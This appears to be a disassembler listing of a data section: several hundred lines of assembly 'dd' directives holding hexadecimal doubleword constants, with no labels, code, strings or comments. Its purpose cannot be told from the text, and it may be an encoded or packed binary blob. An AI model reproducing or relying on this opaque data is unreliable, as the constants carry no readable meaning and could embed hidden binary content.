		dd 8FEF409h, 25AF26CFh,	0F78725F7h, 3B2C48D4h, 804ED190h
		dd 1C3830Ah, 931271BFh,	0E9F303C1h, 285BC99Bh, 392D35A0h
		dd 6FAE50C2h, 57610F1Ah, 9ED00649h, 24080FA0h, 0F27F5E81h
		dd 88FBD687h, 0AFF4E905h, 42361A97h, 0A236D05Ch, 49D657D1h
		dd 984512F3h, 7376BE33h, 0FDA09589h, 22864CEEh,	0A1524161h
		dd 0F7718A25h, 0DC7662FDh, 0DFC76404h, 2C12FED5h, 0C4EE7ECh
		dd 0A8ECDE7Eh, 3DD11E00h, 0D68F181h, 0A427506Dh, 0A3645B3Ch
		dd 5D5C89E9h, 7F087C48h, 3FD85181h, 0A87BE1AAh,	0F4BEF45Eh
		dd 7E41EDE7h, 61695630h, 0CAC3D3A6h, 5A7AA558h,	0D108835Fh
		dd 3443BEF1h, 0D70BCF83h, 80A72DCFh, 4374F693h,	0F3E9245Eh
		dd 2474AD9Ah, 1E7A7BEBh, 24DDA728h, 88EB5F0Ch, 0E49731DDh
		dd 9F232027h, 21B05004h, 0D8ACFAB3h, 42AE2C1Dh,	82BCE9D8h
		dd 5338C368h, 0F4C66CB5h, 0D30A5670h, 942BE801h, 0A5E42D21h
		dd 0E385600Bh, 0F58FA8EAh, 0E122058Dh, 85EDD158h, 1C6926EDh
		dd 897EB716h, 81C1C04h,	3E34A513h, 4138A1DCh, 1A10207Eh
		dd 36F0301Eh, 0F5A41BD7h, 0EF5AB5EDh, 717C0CC1h, 9870066Eh
		dd 1095ACh, 1C7B5F09h, 5EB23D38h, 0BE9B37FAh, 0AD8F318Ah
		dd 1109C6D4h, 58E45FC0h, 59A4232Dh, 0A15469E1h,	0E908C559h
		dd 0FE00F74Bh, 564FD6BBh, 4C06F437h, 0A9845086h, 665B0589h
		dd 0D1D081C3h, 9B34A10Eh, 16B30A53h, 3D11EB0h, 0BFB5515Bh
		dd 262DA286h, 0C9CD5671h, 3002A254h, 0E17D180Bh, 372ABF9Dh
		dd 0C75F96C9h, 52DBBB04h, 5A876CB0h, 560F1EB1h,	0B8053430h
		dd 4B5BE02h, 0AA382F68h, 0B64E229Ah, 0E9FD094Eh, 55EEC1A4h
		dd 0AD46E86Bh, 85D8EC7Eh, 95D87D3Ch, 6C0C2F68h,	58206AEEh
		dd 0F381026Ah, 9E106BEh, 843B9A7Ch, 118FF7B7h, 0E91ACCBCh
		dd 2C90C9ACh, 4E54F868h, 485AE968h, 26B81E17h, 9515CADEh
		dd 1AAB5F0h, 736DD03Bh,	0EAB47A6Fh, 2968F65Bh, 8273040h
		dd 302EC3C8h, 0D7F3C18h, 6E7D1E3Dh, 4627BA71h, 8A6F7223h
		dd 2EF0205Eh, 0A8B71853h, 0D82AE4D0h, 0F0A0F595h, 5CB5EC4h
		dd 0A2CE0126h, 1CC10820h, 6F6D46E8h, 18396E60h,	0CC7CB03Ch
		dd 0C02DE50Eh, 0E9734048h, 0E9CA6367h, 0AAE1DEC5h, 0C265206Bh
		dd 42365506h, 9794CD31h, 44BA9968h, 6C93701Eh, 0DED6D789h
		dd 14044FFBh, 778C187Fh, 0D2431604h, 1240FB21h,	164E2629h
		dd 2A4AB84Dh, 1A89E3F0h, 455856FEh, 731D8940h, 1215BB80h
		dd 1062D227h, 89040645h, 0BE8B205Fh, 194C238Eh,	0A8590949h
		dd 1C11A9F5h, 0DF2D51F9h, 0FB974D34h, 61EA2982h, 6376F6E9h
		dd 10B24891h, 0B0406B23h, 0A3945FF8h, 0E985984Ah, 951970EBh
		dd 0B68C16FDh, 0BF29C4F9h, 0B631A2C9h, 4580E64h, 8A17E22Dh
		dd 6380AA52h, 165C30h
		dd 0F7814F39h, 3A257542h, 8DEEE917h, 4A72C5F2h,	12008E0Eh
		dd 0CBEB5EF1h, 0CF2A1357h, 1345DAAEh, 0AF08892Ch, 0EF5B140Bh
		dd 135F2E48h, 0F2DAEE3h, 7FAED82Fh, 13E0B844h, 0F5B700Ah
		dd 0DAA6023Dh, 0D3A1A78h, 37FC81BFh, 0FE79FB2Dh, 0E9FA043Bh
		dd 0C2D988FAh, 6441360Bh, 634A773Bh, 46ECC87Fh,	47932821h
		dd 0FF873287h, 0ECD5D83Eh, 6922BC0Ch, 3585E4DFh, 12337BB3h
		dd 0D2D4B06Ah, 0C9490ABDh, 0DC9843Dh, 3FF2C65h,	412D60A7h
		dd 82560C3Eh, 6BE9DD04h, 0F3F5A3Fh, 0BD72B3Ch, 0EE7F3964h
		dd 79132DF2h, 96A7A85Ch, 0A6AC6105h, 8B01C00h, 75628D4h
		dd 3E1AFABEh, 0B5CEC026h, 3D12A64Bh, 40FA7CE9h,	55FF8DCh
		dd 4C00448Bh, 6C9B3547h, 13531112h, 0E8B530E9h,	0E22E1F5h
		dd 1B883740h, 92819B4h,	5391AD9h, 6EC8E0EBh, 3F657A41h
		dd 68092169h, 0D2793D86h, 1A75798Bh, 883A5CB9h,	680B639Ah
		dd 608FD620h, 0C9280BB9h, 95B087F6h, 3008DD6Ch,	8EF6977Eh
		dd 26D972C9h, 42A1970Fh, 5D06C091h, 0BF219D2Bh,	3B0EE8C1h
		dd 0E9B180BCh, 2D946BC6h, 0FF0247BAh, 0EE732E79h, 185FF3DBh
		dd 0C32928DCh, 1A506810h, 88391864h, 910FEB0Fh,	8B4A2654h
		dd 0A7FC79E6h, 29325850h, 42D97F8Bh, 947B8468h,	0EC80CFD1h
		dd 4F501070h, 7552B48Ch, 0CC319240h, 0BEADA9BFh, 3F0023E6h
		dd 81D6F771h, 22FE7E6h,	0E946256Fh, 0B6C5B52Bh,	189A6805h
		dd 2217DDF3h, 0C440ACEBh, 36D4CE82h, 55BB0EC0h,	272A7CF6h
		dd 7A59029Fh, 0FFC60C2h, 0C439E764h, 6E9409E2h,	0E1F6C440h
		dd 60A55797h, 0D958C96Bh, 0FE7E6563h, 923EFEC9h, 980680D7h
		dd 7D0ACBFEh, 9F0CE0E5h, 26086345h, 9FBF0043h, 0C1020E10h
		dd 0FE06EF24h, 0B24DF903h, 5B90B749h, 316B5333h, 597F0CE9h
		dd 0DBAC7F5Dh, 0DF0F9DC6h, 1B29DB98h, 9912BE51h, 5F99EAC4h
		dd 40234448h, 79955C46h, 0D78988C9h, 27555227h,	5F904943h
		dd 0B7C12DF9h, 4BC011C4h, 0BAA0B1E8h, 107B31B6h, 8AEE2E93h
		dd 8FC13814h, 27C30A09h, 0D325DB1Ah, 0B0EE4205h, 0F0E7FAACh
		dd 2CD828B3h, 8AB42BE9h, 6F32E68h, 0BD55E0A8h, 174C44B5h
		dd 0B1ED1A2Eh, 0AD8B550Dh, 9F849006h, 0B85CBF04h, 0A8AB585Fh
		dd 410078DDh, 35485334h, 5B120D04h, 2ECFFC97h, 0D58A2721h
		dd 44A4A6B0h, 14C8D30Bh, 0A7515E2Bh, 0F41127D3h, 0F25C4583h
		dd 0C7019643h, 26985127h, 0D0A48078h, 0A125A9EEh, 5D1F26h
		dd 82BBB370h, 1CDDA640h, 5919C727h, 325D52FEh, 0AC61754Eh
		dd 18E9C44Eh, 0CD153366h, 7B1FE242h, 0BA74B7A0h, 4D926885h
		dd 0DED6EE4Bh, 0FA362452h, 0B875194Ah, 2D685298h, 0A6D14B09h
		dd 4A5D44Fh, 26A83C91h,	7B0A8AFh, 79A2639Ch, 63E0069h
		dd 0D497C9Fh, 0DAF7D187h, 155E2008h, 97BA5280h,	0D09D52E4h
		dd 5FC9979Ah, 0C4BA7C5Fh, 0D2AC6AA0h, 551BBEC0h, 810342B1h
		dd 0E65BC4F6h, 0AB500030h, 0C11FF30Ch, 20DD06EAh, 0FAB7D801h
		dd 4D2821F7h, 0FFF2E213h, 0ADA35C9h, 7734097Bh,	0A2201A5Ah
		dd 0F788160Eh, 0E38EAE5Ah, 0EF45605Bh, 7DB457E9h, 162C4812h
		dd 4F6000BBh, 0D8213BC0h, 676306E9h, 0BB2DB31Eh, 0E6EB8CB5h
		dd 1BE19690h, 0A55AB93Fh, 0A69D98D1h, 2D3ED2Eh,	4E720AC1h
		dd 62BA506Fh, 9F50A889h, 76B9AFA2h, 0F2FDA0D5h,	0F6F3D5FDh
		dd 58B662h, 2D06E0C1h, 7725E47Ch, 344555D1h, 0D98F4D09h
		dd 7D521EF6h, 0AD94F12Ch, 0D182847Eh, 0F5B8B4E4h, 3158EEC4h
		dd 68500435h, 0B88C1601h, 0C80C4EFFh, 0A8A841F2h, 5727CA01h
		dd 276464BFh, 7FD2864Fh, 0A7136909h, 0CF0E001Bh, 98675A61h
		dd 58326175h, 3E73C680h, 0CBD847E1h, 17C3F29Bh,	0F85EE951h
		dd 2EB65E9Dh, 593C680Bh, 53623AECh, 0B482130h, 0CE081550h
		dd 276CF7Eh, 50FC3273h,	40B83BC1h, 75A124Ch, 0F1817101h
		dd 30E41137h, 6499E50h,	64719536h, 584D86BAh, 9221F60h
		dd 3A0D55B7h, 0FAC127F0h, 0F687206h, 389B7D60h,	470BD05Bh
		dd 0E87710E9h, 1628EE33h, 0AA509022h, 3C081550h, 7AF9F75Bh
		dd 5D069B00h, 4FF5E979h, 26CA4BCh, 6809231Eh, 54AA69C9h
		dd 9280C4B9h, 765DAD9Ah, 0D62245C1h, 550256C6h,	9F212868h
		dd 55FB8B5Eh, 0EF076584h, 0C95BDE40h, 4B899E48h, 0B18BECEEh
		dd 523F2854h, 0EBE50529h, 12FA1BEh, 0C150E6AFh,	63FC3B4Bh
		dd 6AF40841h, 599AC2D5h, 4F1E130h, 30BF3F16h, 68E0D3A4h
		dd 85781F58h, 1BB8D860h, 6893548Ch, 230CB331h, 0FB7C374Ch
		dd 245862A2h, 22BC5D95h, 3A8E05Dh, 20AFF680h, 8D46D1F4h
		dd 31173623h, 0C974EAC6h, 0E040F68Ah, 40DE12A9h, 0F6AB0DA5h
		dd 0BFE13EC1h, 92AA3E3h, 47996810h, 0C9803279h,	0E92FE44Ah
		dd 0EAAB608Dh, 433B37BAh, 4C42193Fh, 9F9008Ch, 0D8E9F2E8h
		dd 4CDBB5C5h, 1CE56885h, 0FF2564ABh, 5FC41B2Dh,	0E97B0BB9h
		dd 9A4483DDh, 80517638h, 5722EB81h, 5DE92017h, 945BBA40h
		dd 0A5A9FC29h, 0E909B3E3h, 335F98A1h, 502CD2B6h, 0FF99D71h
		dd 53602E73h, 0F0739BFh, 0F4E92C94h, 0DE8EFB3Dh, 1A51532Dh
		dd 0E00CF560h, 93E91607h, 0B369F9Eh, 6AA8C2E9h,	0BDFDFCD6h
		dd 0D153B8BAh, 2892553Ch, 674F91A0h, 0B1FD54B2h, 60F52B27h
		dd 833F910Bh, 82E90285h, 0F73310F8h, 0CA55528Bh, 8BF100B2h
		dd 9C2D3859h, 0BF5C97EEh, 4AB9C02Ch, 5C1CE473h,	0E68C3A5Bh
		dd 4B11DF3Ch, 0E3594E33h, 435DE987h, 564C7709h,	0AE92C5F8h
		dd 0A4B04971h, 0F729AC40h, 6D879BF9h, 0E51C8468h, 0E599C046h
		dd 1AE23345h, 0DD121A99h, 2A682830h, 42F39760h,	7569EB67h
		dd 0B9833A73h, 0E4A42293h, 3FBAE1BFh, 0DD6C8980h, 9E31F5Bh
		dd 91DDA74Fh, 0C8765D6Dh, 0ACD7E985h, 0DEED935Ch, 0D92DBAB4h
		dd 0B1A2E87Eh, 75DE2AE9h, 6DE48F65h, 2C8060B0h,	1960A5E3h
		dd 0E4C0060Ah, 85F0FEBh, 5E7E55E0h, 0A89A3051h,	6627281Ch
		dd 200C5095h, 0BB04CDF8h, 62457615h, 0C05C2CEAh, 3C5F46E6h
		dd 3447A9C0h, 92FB064h,	15A03907h, 0CE04C186h, 1A62C51Ch
		dd 77D0F74Bh, 40D82020h, 3000702Dh, 96053CADh, 5F9159F8h
		dd 30E7B921h, 9F424E46h, 0C4F65FFFh, 9942C0C4h,	41BD5364h
		dd 0FD65AB55h, 89DF3B22h, 0BC563394h, 1D20C996h, 277C9DEAh
		dd 1CDD7958h, 0BB5CA042h, 2A4292C4h, 987B7B3Dh,	2E64EDEh
		dd 0CA885A96h, 0C9A0F3FDh, 535AD75Eh, 986168Ah,	9C5F446Dh
		dd 5B51FC56h, 29B08C8Ch, 0D62CD07Bh, 6889AC54h,	0F640F848h
		dd 90EB5FB4h, 0A49DF18Fh, 51C7861Eh, 6718D727h,	3F1842EBh
		dd 620C2DD1h, 3BA81F71h, 0C3283F29h, 140CD008h,	95D8F65h
		dd 7330A5ACh, 475F9E68h, 0FB2FECA3h, 3B302761h,	0F4F810C2h
		dd 276D2B15h, 0EB6485DFh, 86DDA2AAh, 0BA4389A4h, 0C3E220BCh
		dd 0CD0CE490h, 5058D11Fh, 1C3B26DDh, 0EF621296h, 955B33DCh
		dd 51085447h, 0EF680671h, 722D1553h, 0BCBD516Dh, 0B4DEF093h
		dd 905845C2h, 755B802Ah, 4316DF2h, 4E6859CEh, 5EE1A349h
		dd 2B03A195h, 0B4093FB9h, 81F50EAh, 0CE5B9966h,	36249F4Bh
		dd 404F5EBh, 5CB3FE99h,	607CC300h, 0D3014CA3h, 8029EA2h
		dd 7CF9565Ah, 0F048997h, 0F8A4F329h, 0F4994B1Eh, 829F5C02h
		dd 577FB1F9h, 8E61D0C2h, 0B5148EF4h, 58E50161h,	0B370EA88h
		dd 0FA09BD26h, 0E9E257D1h, 5B5E700Ah, 1948AB5Eh, 83680418h
		dd 0CF9FFC08h, 0D42FB3E4h, 9227C443h, 66051189h, 9F0CB903h
		dd 382F50DEh, 483968BBh
		dd 0F6D84A2Bh, 87B185A9h, 0D7BDA403h, 1C8AD9A3h, 219E8A2Eh
		dd 0F6688BECh, 2DC27D9Bh, 8742115Fh, 61BD5A89h,	20588A76h
		dd 0EF9BC007h, 362C69B0h, 754DEAF6h, 14E51ED3h,	0DC71F209h
		dd 96D1627Ah, 33FE5405h, 6AE95339h, 4F452F92h, 5FB4898h
		dd 5732190Ch, 0D2469120h, 66EB1079h, 23A2456h, 0A12408h
		dd 179A15AFh, 0EC54E8E9h, 4109F18Ah, 7044E690h,	0F3505BD6h
		dd 107F1032h, 85D85B70h, 17CA05B3h, 0C12DEE71h,	72B59F5h
		dd 7EF828DAh, 89B26C6Ah, 0EAF52C77h, 0C0E5626Dh, 0BF20BBA9h
		dd 3E3139E1h, 0D8A81716h, 0A9239D17h, 0E7C90780h, 3E9464Eh
		dd 0A8C825C1h, 0BFCB6815h, 9AE97A98h, 0F111A262h, 8F74575Eh
		dd 0E31062ACh, 52FA3118h, 790482EDh, 0D501643Fh, 0B48BBCAAh
		dd 50EDCFAFh, 0DF827027h, 0CD807E4Ch, 402F2145h, 59037F60h
		dd 85806F35h, 0C70B0117h, 20ED7AE9h, 1C3378AFh,	0C143097Dh
		dd 0C30406EBh, 0F52902AFh, 5698685Eh, 3EFD7918h, 0E82F58C5h
		dd 6E5957E4h, 0A32D2DF8h, 8E43681Ch, 0B7B225A3h, 112075F2h
		dd 82F0986Ah, 0C5BF2F02h, 44EA701Bh, 13ADCE8Dh,	0BC842AB8h
		dd 0B64FD6Eh, 0DF342274h, 0EC31700h, 4E613942h,	0F213ACA6h
		dd 0BA04EBFh, 7BB9580Fh, 0D8E8EBF1h, 1D32A08Eh,	5E5B2779h
		dd 0E7DE80F7h, 24B4076Ah, 2934F51h, 88F3F785h, 13224475h
		dd 246D7CE9h, 4EB1AF80h, 0B410C8Ah, 0A0E909E0h,	0E3B825E0h
		dd 378C2309h, 58C55C31h, 629549E9h, 56527E89h, 76657320h
		dd 0F17D4D5Fh, 62E80502h, 0C58103E3h, 2C48F568h, 3F38C075h
		dd 55E97825h, 5A20E5E0h, 90DDE060h, 0E7B15F1Ah,	28FF4ABAh
		dd 17339C58h, 10FA2258h, 8ED77Eh, 940585B8h, 0DB2D32h
		dd 0D2EDDA5h, 6110077Dh, 5DFE926h, 134ABA81h, 0F46F3129h
		dd 99F2EEEh, 924A4CF8h,	87C4B72Dh, 5FC9ED9Eh, 25BE0D1h
		dd 1B7F8BF9h, 2B404D08h, 0E9E6D103h, 0C6CA3325h, 0D231269Eh
		dd 197F0B64h, 12E4B513h, 0AEB256AEh, 9720F561h,	43AE726Bh
		dd 354ACACAh, 0ADD44D5Fh, 0F8093D7Bh, 0F60ACE4Dh, 449B4197h
		dd 5D948378h, 0A2EB81AAh, 66E143D2h, 0EE399644h, 4AA921EAh
		dd 0DC50749Ah, 0E4805B07h, 437C0B5h, 87F5EC62h,	0E307A1FBh
		dd 0D659EBE7h, 0A08C4455h, 662D684Bh, 0CB9F5C4Ah, 4EF1965Dh
		dd 0C215404Ah, 744E758Eh, 5BBCB7F6h, 38875F2Dh,	9009A4DCh
		dd 3055BE94h, 1F5FD62Eh, 14DDB702h, 93F07DACh, 0AFBEE4F4h
		dd 29D75462h, 0A8D36655h, 52D5745h, 0C0E9FE34h,	933DAD27h
		dd 6BE8F3C4h, 0B94FE9B0h, 4E87DC9Dh, 72B0788Bh,	10C3BB09h
		dd 90CB8143h, 0C1142B15h, 8945390Ch, 37023F59h,	603513C2h
		dd 1656F21Eh, 0A019344Ah, 0E93D5714h, 73A6543Dh, 2D3CECB7h
		dd 2FFDFD96h, 366904E3h, 0B23BD0A9h, 780940CFh,	1481B0Bh
		dd 7570F160h, 0BF0EBF18h, 7A009C09h, 34DA7814h,	0A0E0094Eh
		dd 0D8995B27h, 4B4AAF58h, 483EF32h, 0D6F5BF56h,	37B16A83h
		dd 0CADAF753h, 595F21F0h, 0E9D3EBA3h, 5AC184A0h, 6987835Dh
		dd 62D9477Ch, 0ED213EA9h, 0F026E3CDh, 81982F79h, 0C5C1C393h
		dd 0BE432E0h, 824068B3h, 7EB1BD3Eh, 7E7C60C2h, 0D6BC209Eh
		dd 642AF10Fh, 0F2C03805h, 5BBC4312h, 6F71956h, 4E72C03h
		dd 7C79222Dh, 6C681481h, 81825A02h, 43FA2A24h, 89F5CFA0h
		dd 78712516h, 7E3F5Eh, 12FE69DAh, 812391E9h, 3D563E5Ch
		dd 343E98BBh, 0F7E4F941h, 943AF0DBh, 0B652052Fh, 11B1BA39h
		dd 96A5C1DEh, 6881CC3Fh, 0C533E80Bh, 0F7FE0339h, 0E687A49Ch
		dd 7048CF60h, 414C58B0h, 33732506h, 0BA120C13h,	0AE091DBCh
		dd 413F62A8h, 163AC8C7h, 0C200FE47h, 36A32768h,	59E84C31h
		dd 787C3425h, 96B62E6Fh, 2512588h, 3C2CAEB9h, 8A5D2142h
		dd 0D0A712F7h, 984509FBh, 0A774296Bh, 81C7ACB2h, 7D7BE90Ch
		dd 78B94E81h, 4020F127h, 0F11EACDh, 28F84262h, 1F8752B5h
		dd 0BDDB2BF0h, 66AE9598h, 694B3868h, 3B50768Ch,	870B4149h
		dd 16824EF1h, 0B1D68CE6h, 5B3D2782h, 2092DF69h,	0BDE89E00h
		dd 50BFA333h, 8CFA273Fh, 284E4AC6h, 0BB5640EFh,	2130CD14h
		dd 0E4FCF55Ah, 96969EB1h, 0EF8D0199h, 713FCD42h, 0E4DE2714h
		dd 0D918C582h, 0B0978063h, 7D354F7Fh, 0A9CA0B42h, 0F48F435Ch
		dd 590A207Eh, 77014168h, 0C01F25BFh, 1FACBBF5h,	472D7F5Dh
		dd 5685BD8h, 0B78C605Ch, 3828515Dh, 8A25AB41h, 890298E3h
		dd 0A5FA9143h, 0E6015253h, 329B6544h, 413D1E7Bh, 0F6430ACEh
		dd 0D87F6069h, 1BD8040h, 2A95422Eh, 97FFC581h, 1BAB4D03h
		dd 74A00C9Ch, 5098C46Eh, 72DF828h, 0A7088DB1h, 1B8624AEh
		dd 0B985C401h, 31AFD2F7h, 6BA968D0h, 0CD5AC0ECh, 110B6F93h
		dd 0D705290Dh, 6CD5E5B2h, 53F6B56Fh, 46858B7Ah,	4540690Bh
		dd 0BD89547Ch, 871E5508h, 9086D9Dh, 947DA407h, 36F5956Eh
		dd 4C5F324Ah, 251C7BFh,	93ACBE65h, 8745C24Ah, 6924DE5Dh
		dd 1EB13938h, 0CB88531Ch, 74E9DA85h, 0FEC2F4BBh, 7B1A2F5Ch
		dd 654AD25Dh, 9DE1019Ah, 40FAFCD2h, 75E90318h, 19090590h
		dd 161D41Eh, 268C7C8Fh,	924DF1EBh, 6DC35982h, 0CF60FB42h
		dd 568070F4h, 23680252h, 5A530848h, 69896079h, 0A0634444h
		dd 0A566BF05h, 1F2C9Ah,	0A7FBD880h, 5CBFD121h, 6A07599Bh
		dd 0FFBBB1A4h, 68BCA207h, 5BDD11C8h, 64F3FEBDh,	2ACCE108h
		dd 922473Dh, 4E8A6B10h,	63FCF800h, 69526E4Dh, 0E477CA51h
		dd 4A99F041h, 0AD9C49CDh, 0F632EC81h, 2ACEF5D6h, 80E43BE8h
		dd 16137955h, 0DDE95D13h, 94B9E980h, 0C6546203h, 526CA8D1h
		dd 0F5D75169h, 1F9B7D20h, 5B5F3CA1h, 4C301429h,	0FEDC9D93h
		dd 18C05FDAh, 0E82F6730h, 0EDB25770h, 6A2FC264h, 72BF5CD1h
		dd 9BAD0FFh, 0C0B35352h, 0D503EA5Dh, 33DC4D40h,	4C1A752Dh
		dd 63BB04AAh, 0EE45556Eh, 72934ED0h, 0C0B15E6Dh, 3E685E79h
		dd 0BC87D197h, 0B7753412h, 0F8BB025Bh, 0E06E3956h, 2E6596C1h
		dd 2DE37664h, 5BF553C2h, 6B28427Eh, 0A2FD154Ah,	7F525C3Fh
		dd 21168AE7h, 6791E791h, 6AFDC112h, 669310BAh, 9C4B9DA0h
		dd 7DE848A8h, 5EBD895Ah, 6060332h, 6539BEC0h, 2340D42Eh
		dd 0B31A3202h, 590DC073h, 3D452C2Eh, 45F81E0Ch,	0FF5661ABh
		dd 0D00D5FB5h, 0EC3ED5E9h, 55C8B527h, 3FC181F7h, 2E17B09h
		dd 0FD84E237h, 98CB4C8Fh, 2EF146DDh, 0C0AA97E5h, 75767CDEh
		dd 0C8020598h, 29404872h, 888C7F1h, 5B1D79EBh, 0A9B7568Bh
		dd 2E654F1h, 9E48E692h,	1337E3D7h, 0C8AF88D0h, 1F2568FDh
		dd 1E4B460Bh, 0A6EB5FD9h, 2AEF0048h, 0BF2DCD4Fh, 7A13F1FCh
		dd 3216D001h, 2D518FF4h, 0AE548FB5h, 0EDCCFE8Fh, 90A863CFh
		dd 14749F0Dh, 6AF8D643h, 2A96E11h, 43D72022h, 3E01C458h
		dd 0E96AE830h, 0FD3EE37Ah, 0F75389B6h, 0E9121495h, 30BB0C13h
		dd 21842FBEh, 87823E5Bh, 0F1DACA35h, 0D7C94FB1h, 5E5F6BE2h
		dd 0D27FC45Ah, 0C5F55FCDh, 0F1843EE8h, 90E6AFE9h, 8478EF4Eh
		dd 4296352Fh, 0FA004282h, 40E91798h, 81F63512h,	59D97413h
		dd 0D42C07FDh, 78A80Fh,	0A2055D5Ah, 7B2D5E75h, 880D001h
		dd 822EC55Fh, 0E2D68E47h, 0E0035427h, 5615732Dh, 0C4EB174Bh
		dd 0C8084447h, 0D90AF859h, 8E683246h, 7CDAD5CBh, 62C051BDh
		dd 43CAA4E9h, 69FFC575h, 0EB62F95Fh, 0EC5F4AECh, 0FA8934EEh
		dd 50998375h, 7B499928h, 3297D93Bh, 0CF95419Eh,	2374836Ch
		dd 9AEF01FEh, 0DCE9A14Ch
		dd 14D97FFAh, 98E0759Eh, 0CC70FD3h, 0F2644433h,	5B5D0072h
		dd 267ADE2Dh, 14954A86h, 0EC4A0705h, 8BF7D6A9h,	0D8220B93h
		dd 678F98BAh, 386E0B22h, 18EECE80h, 0E1F86F9Ah,	9C1BBC0Bh
		dd 1F300311h, 0F525C27Dh, 31DE17A0h, 5AFA7AFEh,	159D655Bh
		dd 1417B855h, 90F01252h, 7C4734E9h, 0B2D9A810h,	0F7A5906Fh
		dd 0D15AA05Eh, 66F1B7C5h, 0F1A09393h, 59D39559h, 83B75300h
		dd 48B1CF80h, 4E7B0EF6h, 0A0E12475h, 2D4F64BFh,	2905B541h
		dd 2760431Dh, 9651163Ah, 1F58B96Bh, 0A5FCFF5h, 29950C30h
		dd 0E6535072h, 4D8C102h, 0FD399936h, 9480E8F6h,	877242B8h
		dd 0C1A0C69Fh, 256875A0h, 0E6C46B2Ah, 41F40712h, 0B74E7016h
		dd 0E059DF54h, 0AC05A268h, 8C6C5468h, 0D524B18Ah, 0C50838F6h
		dd 38502DA0h, 87698324h, 5FDD6870h, 192AE33Dh, 0B4676498h
		dd 0B018DDFEh, 0EF96A473h, 77349480h, 2E092D5Dh, 16E48D59h
		dd 0C742B417h, 0C1027246h, 495FEE27h, 9D764DDh,	4616629Ch
		dd 0D1957AD0h, 0BBBA16DAh, 0B001E756h, 2BD717A0h, 4A4946Ah
		dd 0BFFCE908h, 0BAACD416h, 0C410A8B4h, 34AFFE88h, 28EA0A09h
		dd 682742A5h, 0CF2004CCh, 28315896h, 0A4F7B416h, 51581B9Ah
		dd 5B6B00E3h, 0E9557901h, 59FBE11h, 0C358E588h,	0F7B353EDh
		dd 0FDD0EEC3h, 0C516805Bh, 49EF3071h, 3C7F5378h, 912C3877h
		dd 0A5BF7C62h, 58C67A48h, 32268BB7h, 5E2942E8h,	96D52F17h
		dd 634620C3h, 97C68102h, 0D77AEC25h, 90809A8h, 7DDA99E9h
		dd 25DED09Dh, 0B83932CAh, 0A9DEF996h, 0E909DAFCh, 0A2D54620h
		dd 22D18493h, 11AE53C1h, 457F25C1h, 0E37A4EAAh,	7314D15h
		dd 94B0E2B6h, 0F003D697h, 0C35AA22Ch, 4EB2F0DDh, 80DA0EF6h
		dd 0F26070EAh, 0E9D18826h, 48875025h, 588B829Fh, 6DC48714h
		dd 0F25A0A5Fh, 7606CB04h, 0B703E384h, 95FB4E7Bh, 0AA61B0BBh
		dd 59F32D5Ah, 6ECCC903h, 12620DDEh, 0FD96A1B6h,	69F521BAh
		dd 8D5595F9h, 2EEE381h,	0C46981E5h, 0FB5C71Fh, 0A8692204h
		dd 532320DDh, 3BB443h, 1CCD6857h, 0E95F03C0h, 208AD92Dh
		dd 0A722F7ABh, 4B40B782h, 53C40D5Dh, 0C6C2A9EFh, 594767Fh
		dd 0FA6A6C68h, 67DB3160h, 81530E85h, 78C5CEF2h,	91F18025h
		dd 900C2726h, 0BC5AD189h, 59A16385h, 0CC941EAh,	7392EF7Fh
		dd 0CCB1296Bh, 0EC680059h, 0FAF3A632h, 0B3F15BE1h, 99E15F77h
		dd 824B01F0h, 52A16E94h, 1FC03D73h, 1D981E3Dh, 274C9BB0h
		dd 8FF42866h, 6E7C102h,	7C9F804Fh, 9592126Ch, 8A49827Dh
		dd 0BF9D66E3h, 90F6BB78h, 5D506CBAh, 525E5997h,	0CDE9F860h
		dd 0D674A08Ah, 0F61AFC52h, 97B0B2D0h, 578146DBh, 5069480Dh
		dd 290EC86Fh, 580824C5h, 27D41301h, 0E9E43C06h,	40904E31h
		dd 4821D073h, 29355E26h, 7D8183DFh, 0E90146AAh,	577964A5h
		dd 0BA057090h, 2AAD4D36h, 44A7CC14h, 3B072D99h,	577F939h
		dd 34CE4811h, 4A6863FDh, 0FFF10916h, 0ED80A090h, 88501E8Ah
		dd 92A9CEECh, 0EBD9EE13h, 1834A120h, 0A8740A14h, 2A0D5A86h
		dd 1CFB0178h, 821C0806h, 77386214h, 4B6F6ED1h, 0D39B19AEh
		dd 11103532h, 0CBBF0361h, 0D10E8831h, 0CC6E1936h, 8509F7BAh
		dd 1605B1Dh, 0B709F168h, 5CB01D20h, 60B6A069h, 5D166CB7h
		dd 1317875Ch, 359CEEBAh, 0EFED44D4h, 0E84ACB0Ch, 73F27429h
		dd 0E967170Ch, 507DF082h, 0E8625695h, 425B5135h, 90F0A7F2h
		dd 8F945F97h, 2C6CE380h, 0CA78D93Ch, 40B58EBCh,	0DEFBF168h
		dd 7B2DE9A6h, 0E4B476D4h, 73E7BF5Ch, 0E466B517h, 1E41837Bh
		dd 0C257C06Bh, 6527306Fh, 34C4C57Bh, 0C32ABA3Eh, 0A44E4358h
		dd 23123296h, 4AF3B1Bh,	0AFB52E58h, 0E63EFC6Dh,	0A5614FDEh
		dd 0D1C63868h, 4C0D8B99h, 0FC60D6D6h, 9D40365Bh, 0EA60C2FEh
		dd 5861E9Eh, 5E94257h, 847CFFA0h, 30EE2568h, 7D5A8054h
		dd 4AFF3C0Bh, 0D3858186h, 0D101F311h, 8C0920EFh, 7115FD12h
		dd 0E6BD47B0h, 239D3F26h, 0C82E507h, 1145870Ah,	65A8DEE9h
		dd 0CCE82A11h, 16524E12h, 31FC01FFh, 6BE447B5h,	5629D8A0h
		dd 0BF0190D3h, 33943DC1h, 2F552757h, 7EAA094Ah,	85101318h
		dd 0FF2AFD8h, 175F65C4h, 0B7E164A0h, 0C9123B76h, 0FC6D509h
		dd 0D0A08330h, 0C0EB9C20h, 0E9DA01FCh, 0F2030B25h, 9AF2B7A8h
		dd 0F52B2CBAh, 963D3AA7h, 0C8FFC064h, 8782710Eh, 31E4C824h
		dd 5CF320C0h, 60CB0534h, 0FC6348E9h, 0C30FF4F8h, 0BF0CB8BEh
		dd 61C713Bh, 7EFC161h, 516084Fh, 7206E781h, 0F0C5593h
		dd 44D43933h, 0BD8C1B5Ch, 0E41F4CB0h, 208A2948h, 0CFD99C6Ch
		dd 0AA5ED386h, 39B75317h, 0C3162B18h, 5B20C255h, 0FF41C121h
		dd 0C2558108h, 0B6F3FF30h, 3CDFB12Eh, 0D74482Eh, 0CC381F86h
		dd 2D5137D8h, 347E1C74h, 759808A0h, 0FF478E41h,	19BB5F80h
		dd 81E201D1h, 0C64336CAh, 4E0C820Eh, 0C02CB541h, 4B6D50C8h
